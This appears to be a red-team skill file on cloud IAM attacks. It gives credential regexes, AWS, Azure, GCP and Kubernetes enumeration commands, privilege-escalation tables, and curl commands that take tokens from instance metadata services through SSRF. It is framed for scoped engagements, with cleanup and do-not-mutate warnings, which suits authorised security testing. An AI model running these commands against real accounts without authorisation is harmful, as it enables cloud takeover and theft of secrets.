Cloud iam deep

When to use

Trigger when:

• A cloud credential surfaces (key, secret, token, JSON file)
• SSRF chain reaches IMDS / metadata endpoint
• APK / git-leak reveals embedded cloud key
• Recon shows public S3/GCS/Azure-blob with permissions you can verify
• A Kubernetes API or service-account token is exposed
• Post-RCE on a cloud-hosted instance — pivot to cloud control plane

Do NOT use for:

• On-prem-only environments (use AD attack skills — but those are out of scope per external-only boundary)
• Web2 vulns that happen to be on AWS — use the relevant hunt-* skill

---

Credential identification (first 60 seconds)

# AWS access key patterns
AKIA[0-9A-Z]{16}                # IAM user access key (long-term)
ASIA[0-9A-Z]{16}                # STS temporary credential
AGPA[0-9A-Z]{16}                # IAM group
AIDA[0-9A-Z]{16}                # IAM user (user-id)
AROA[0-9A-Z]{16}                # IAM role
ANPA[0-9A-Z]{16}                # Managed policy

# AWS secret pattern (40-char base64-ish — context required)
[A-Za-z0-9/+=]{40}              # AWS secret access key

# Azure
AccountKey=[A-Za-z0-9+/=]{86}   # Storage account key
client_secret pattern + UUID    # Azure AD app credential

# GCP service account JSON
{
  "type": "service_account",
  "project_id": "...",
  "private_key_id": "...",
  "private_key": "-----BEGIN PRIVATE KEY-----..."
}

# K8s SA token (JWT format — decode to confirm)
eyJhbGciOiJSUzI1...     # decode kid claim to see issuer

---

AWS — read-only validation (the safe first step)

# Set credential
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."

# 1. WHO am I?
aws sts get-caller-identity
# Returns: UserId, Account, Arn
# Arn tells you: IAM user vs role, account ID, name

# 2. WHAT can I do? (the privesc question)
# Try common read-only first — failures still inform you
aws iam list-users 2>&1 | head -5
aws iam list-roles 2>&1 | head -5
aws iam list-policies 2>&1 | head -5
aws iam list-groups 2>&1 | head -5

# 3. WHAT policies are attached to me?
aws iam list-attached-user-policies --user-name <self>
aws iam list-user-policies --user-name <self>          # inline policies
aws iam list-groups-for-user --user-name <self>

# 4. Service-by-service surface
aws ec2 describe-instances --max-items 1 2>&1 | head
aws s3 ls 2>&1 | head -10
aws lambda list-functions --max-items 5 2>&1 | head
aws rds describe-db-instances --max-items 5 2>&1 | head
aws secretsmanager list-secrets --max-results 5 2>&1 | head
aws ssm describe-parameters --max-results 5 2>&1 | head

# 5. Audit any cross-account / external trust
aws iam list-roles --query 'Roles[?contains(AssumeRolePolicyDocument.Statement[0].Principal.AWS, `arn:aws:iam::`)]' 2>&1 | head -20

---

AWS privesc patterns (24+ documented — iam_privesc techniques)

Quick lookup — if you have any of these IAM actions, escalate via the listed technique:

You have	Escalate via
iam:CreateAccessKey	Create access key on any user → impersonate
iam:CreateLoginProfile	Set a console password on a user → login
iam:UpdateLoginProfile	Reset console password on a user
iam:AttachUserPolicy	Attach AdministratorAccess to self
iam:AttachGroupPolicy	Attach AdministratorAccess to a group you're in
iam:AttachRolePolicy + sts:AssumeRole	Attach to a role you can assume
iam:PutUserPolicy	Inline AdministratorAccess to self
iam:PutGroupPolicy	Inline policy on a group
iam:PutRolePolicy	Inline on a role you can assume
iam:AddUserToGroup	Add self to admin group
iam:UpdateAssumeRolePolicy + sts:AssumeRole	Modify trust to allow self
iam:CreatePolicyVersion	Create v2 of an attached policy with admin
iam:SetDefaultPolicyVersion	Switch attached policy to admin version
iam:PassRole + ec2:RunInstances	Launch EC2 as admin role → use instance creds
iam:PassRole + lambda:CreateFunction/InvokeFunction	Run code as admin role
iam:PassRole + cloudformation:CreateStack	CF stack creates resources as admin
iam:PassRole + glue:CreateDevEndpoint	Notebook runs as admin role
iam:PassRole + datapipeline	Pipeline runs as admin role
iam:PassRole + codestar:CreateProject	New project gets admin role
ec2:RunInstances (with admin instance profile already on the AMI)	Spin instance, exfil creds from IMDS
lambda:UpdateFunctionCode (function has admin role)	Replace code → exfil creds
lambda:UpdateFunctionConfiguration	Add layer / env var that exfils
cloudformation:UpdateStack	Modify stack to grant self admin
sts:AssumeRole (where trust allows you)	Direct privilege jump

Many of the destructive ones are out-of-scope for an external red-team; document the path, don't always execute.

---

AWS — STS / cross-account / role chaining

# Enumerate roles you can assume across accounts
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output json > /tmp/roles.json
# Parse for "Principal.AWS" containing different account IDs

# Assume a role
aws sts assume-role --role-arn "arn:aws:iam::OTHER_ACCT:role/CrossAccountRole" --role-session-name "rt-1"

# Set new creds
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Verify
aws sts get-caller-identity  # should now show OTHER_ACCT

# Re-enumerate from new identity (chain continues)

Confused-deputy pattern: look for sts:ExternalId missing or trust policies that allow arn:aws:iam::*:role/*. If ExternalId is not required, anyone can assume the role.

---

AWS IMDSv1 / IMDSv2 abuse via SSRF

# IMDSv1 (legacy, still common — straight GET):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Returns role name → fetch creds:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# JSON with AccessKeyId, SecretAccessKey, Token, Expiration

# IMDSv2 (requires PUT to get a token first — usually mitigates SSRF):
curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
TOKEN=...
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# SSRF bypass for IMDSv2:
# Most server-side fetchers don't issue PUT requests → IMDSv2 blocks them.
# Exception: SSRF in functions that themselves perform requests with custom headers.

---

Azure — credential validation

# Login with a credential
az login --service-principal -u <appId> -p <password> --tenant <tenantId>
# OR with managed identity (from inside Azure VM)
az login --identity

# Who am I?
az account show

# Subscriptions
az account list --output table

# Role assignments (Azure RBAC)
az role assignment list --assignee <objectId> --all
az role assignment list --all --query '[?principalId==`<objectId>`]' --output table

# Resources I can read
az resource list --output table | head -30
az storage account list --output table
az keyvault list --output table
az vm list --output table

---

Azure — Managed Identity abuse

# From inside Azure VM (post-RCE or SSRF to IMDS-equivalent):
# Endpoint: http://169.254.169.254/metadata/identity/oauth2/token
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Returns access_token for the Managed Identity. Use:
TOKEN="..."
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"

# Get token for Key Vault
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"

# Get token for Graph
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"
# → If Managed Identity has Graph permissions, read all M365 data

---

Azure privesc patterns

You have	Escalate via
Microsoft.Authorization/roleAssignments/write on tenant	Self-assign Owner
Microsoft.Authorization/roleDefinitions/write	Modify role def to add powers
Microsoft.Compute/virtualMachines/runCommand/action	Run command on VM (with VM's MI)
Microsoft.KeyVault/vaults/secrets/getSecret/action	Read all KV secrets
Microsoft.Storage/storageAccounts/listkeys/action	Read all storage blobs
Microsoft.Web/sites/publishxml/action	Get publish profile → RCE on app
Microsoft.Web/sites/host/listkeys/action	Func app key → RCE via function trigger
Microsoft.AAD.Directory.* (App reg) + RoleManagement.ReadWrite.Directory	Grant self Global Admin

---

GCP — service account JSON

# Activate
gcloud auth activate-service-account --key-file=sa-leaked.json

# Who am I?
gcloud auth list
gcloud config get-value account
gcloud config get-value project

# What roles does this SA have? (project-level only — not org-level)
gcloud projects get-iam-policy <projectId> \
  --flatten="bindings[].members" \
  --format="table(bindings.role)" \
  --filter="bindings.members:<sa-email>"

# Service-by-service:
gcloud compute instances list 2>&1 | head
gcloud storage buckets list 2>&1 | head
gcloud secrets list 2>&1 | head
gcloud functions list 2>&1 | head
gcloud sql instances list 2>&1 | head
gcloud container clusters list 2>&1 | head

---

GCP privesc patterns

You have	Escalate via
iam.serviceAccounts.getAccessToken on higher-priv SA	Get token for that SA
iam.serviceAccounts.implicitDelegation	Chain through delegate SAs
iam.serviceAccounts.signBlob / signJwt on higher SA	Forge JWT for that SA
iam.serviceAccountKeys.create	Create new key for any SA → impersonate
iam.serviceAccounts.setIamPolicy	Grant self impersonation rights
iam.roles.update (on custom role)	Add admin permissions to a role you have
cloudfunctions.functions.update (function runs as high-priv SA)	Replace code → exfil creds
cloudfunctions.functions.call + above	Trigger replacement
compute.instances.setMetadata	Add ssh-keys metadata → SSH as root
compute.instances.setServiceAccount	Attach higher-priv SA to instance
cloudbuild.builds.create (build runs as project SA)	Build executes attacker code
deploymentmanager.deployments.create	Resources created as DM SA

---

GCP IMDS attack (via SSRF or post-RCE)

# GCP IMDS endpoint:
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Returns access token. Use:
TOKEN=...
curl -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects"

---

Kubernetes — exposed API / SA token

# Check anonymous access on K8s API
curl -sk "https://k8s.target.com:6443/api/v1/namespaces"

# Anonymous binding (system:anonymous user) — surprisingly common
curl -sk "https://k8s.target.com:6443/api/v1/pods?limit=1"

# If SA token exfil'd (eyJ...):
export TOKEN="eyJ..."
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get namespaces
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify auth can-i --list
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get pods -A
kubectl --token=$TOKEN --server=https://k8s.target.com:6443 --insecure-skip-tls-verify get secrets -A

K8s privesc patterns

You have	Escalate via
pods/exec on high-priv pod	exec into pod with admin SA token
pods/create + serviceaccounts/use	Create pod mounting admin SA token
secrets/get	Read any service-account token in cluster
clusterrolebindings/create	Grant self cluster-admin
roles/escalate or clusterroles/escalate	Add permissions to role
nodes/proxy	Proxy to kubelet on any node → exec via kubelet
bind verb on roles	Bind a role you don't have to a subject
impersonate on users/groups/SAs	Operate as another principal

---

Tooling reference

Tool	Cloud	Purpose
Pacu	AWS	Full red-team framework, 100+ modules
enumerate-iam.py	AWS	Brute-force list of API calls to discover permissions
PMapper	AWS	Visualize privesc paths as graph
CloudFox	AWS	Recon-focused (enumerate resources, no privesc)
Prowler	AWS/Azure/GCP	Compliance scanning + enumeration
ScoutSuite	AWS/Azure/GCP/OCI	Multi-cloud audit
AzureHound	Azure	BloodHound-style graph for Azure
MicroBurst	Azure	Azure-specific recon and abuse modules
ROADtools	Azure	Entra ID enumeration toolkit
GCPBucketBrute	GCP	GCS bucket permission enumeration
gcpwn	GCP	GCP-specific exploitation framework
Peirates	K8s	Container/cluster exploitation toolkit
kube-hunter	K8s	Auto-scan cluster from inside/outside
kubectl-trace	K8s	Trace processes (post-foothold)

---

Anti-patterns

• DO NOT run write/delete operations without explicit OK — IAM mutation is destructive and audit-visible
• DO NOT enumerate everything in scope of an account — aws iam list-users against an account with 50,000 users is loud and slow
• DO NOT use aws * with non-test creds without confirming you have the right account — accidentally hitting prod = career risk
• DO NOT confuse "I have the credential" with "this credential is current" — always check expiration / rotation via STS first
• DO NOT assume an STS token from one account works across accounts — region restrictions and trust policies apply
• DO NOT skip CloudTrail/Activity Log awareness — every API call is logged; pair with mid-engagement-ir-detection
• DO NOT pivot deeper than the SOW allows — discovering admin creds doesn't mean using them; some engagements are read-only

---

Bridge to neighboring skills

• hunt-cloud-misconfig — finds the credentials in the first place (public buckets, IMDS via SSRF, leaked JSON)
• hunt-ssrf — SSRF→IMDS is the canonical chain into cloud control plane
• apk-redteam-pipeline — APK secret extraction commonly yields cloud creds
• supply-chain-attack-recon — CI/CD pipelines store cloud creds; finding them is a separate workflow
• m365-entra-attack — Azure cross-product; Managed Identity tokens cross over to Graph
• mid-engagement-ir-detection — cloud control plane activity is monitored; expect mitigations

---

Severity scoring guidance

Finding	Severity
AWS access key with *:* in policy → confirmed admin	Critical
GCP SA JSON with roles/owner on production project	Critical
Azure MI on internet-exposed VM with Owner role	Critical
Leaked cred with read-only on prod data store	High (or Critical depending on data sensitivity)
Leaked cred with privesc path but no admin yet	High
Leaked cred — read access only to non-sensitive	Medium
Anonymous public bucket — listing only	Low/Medium
Anonymous bucket — write permission	High

---

Cleanup discipline (deliverable hygiene)

If during the engagement you:

• Used sts:AssumeRole to chain — note the role names and times in IoCs
• Created any IAM resources (test users, roles, policies) — list them with explicit cleanup confirmation
• Read sensitive data (Secrets Manager, KMS keys, Storage blob content) — note in deliverable that data was viewed but not exfiltrated outside the engagement systems

Cloud activity is trivially auditable; the client WILL find it post-engagement. Documenting now > getting blindsided later.

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Related Skills & Chains

• hunt-ssrf — Most external paths to a cloud credential begin with SSRF reaching the metadata service. Chain primitive: SSRF + IMDSv1 → instance role token → cloud-iam-deep privilege-escalation patterns reach prod S3 / Secrets Manager.
• hunt-cloud-misconfig — Public buckets and exposed configs are the most common credential-leak vector. Chain primitive: Cloud misconfig (.env in public S3) + leaked AWS access key → IAM enumeration → iam:PassRole chain to admin.
• supply-chain-attack-recon — CI/CD often holds long-lived deploy credentials. Chain primitive: Exposed GitHub Actions OIDC misconfig + assume-role permission → cloud-iam-deep cross-account role assumption.
• m365-entra-attack — Azure Managed Identity overlaps Entra service principals. Chain primitive: SSRF on Azure App Service → Managed Identity token → m365-entra-attack Graph API enumeration → cross-tenant escalation.
• security-arsenal — Load the Cloud IAM Privilege-Escalation Payload Pack (24+ AWS, 8+ Azure, 6+ GCP escalation patterns with aws cli one-liners).
• triage-validation — Apply the Server-State-vs-Policy gate: a permissive IAM policy alone is not a finding; demonstrate actual privileged action (e.g., read prod secret, create cross-account role) before reporting.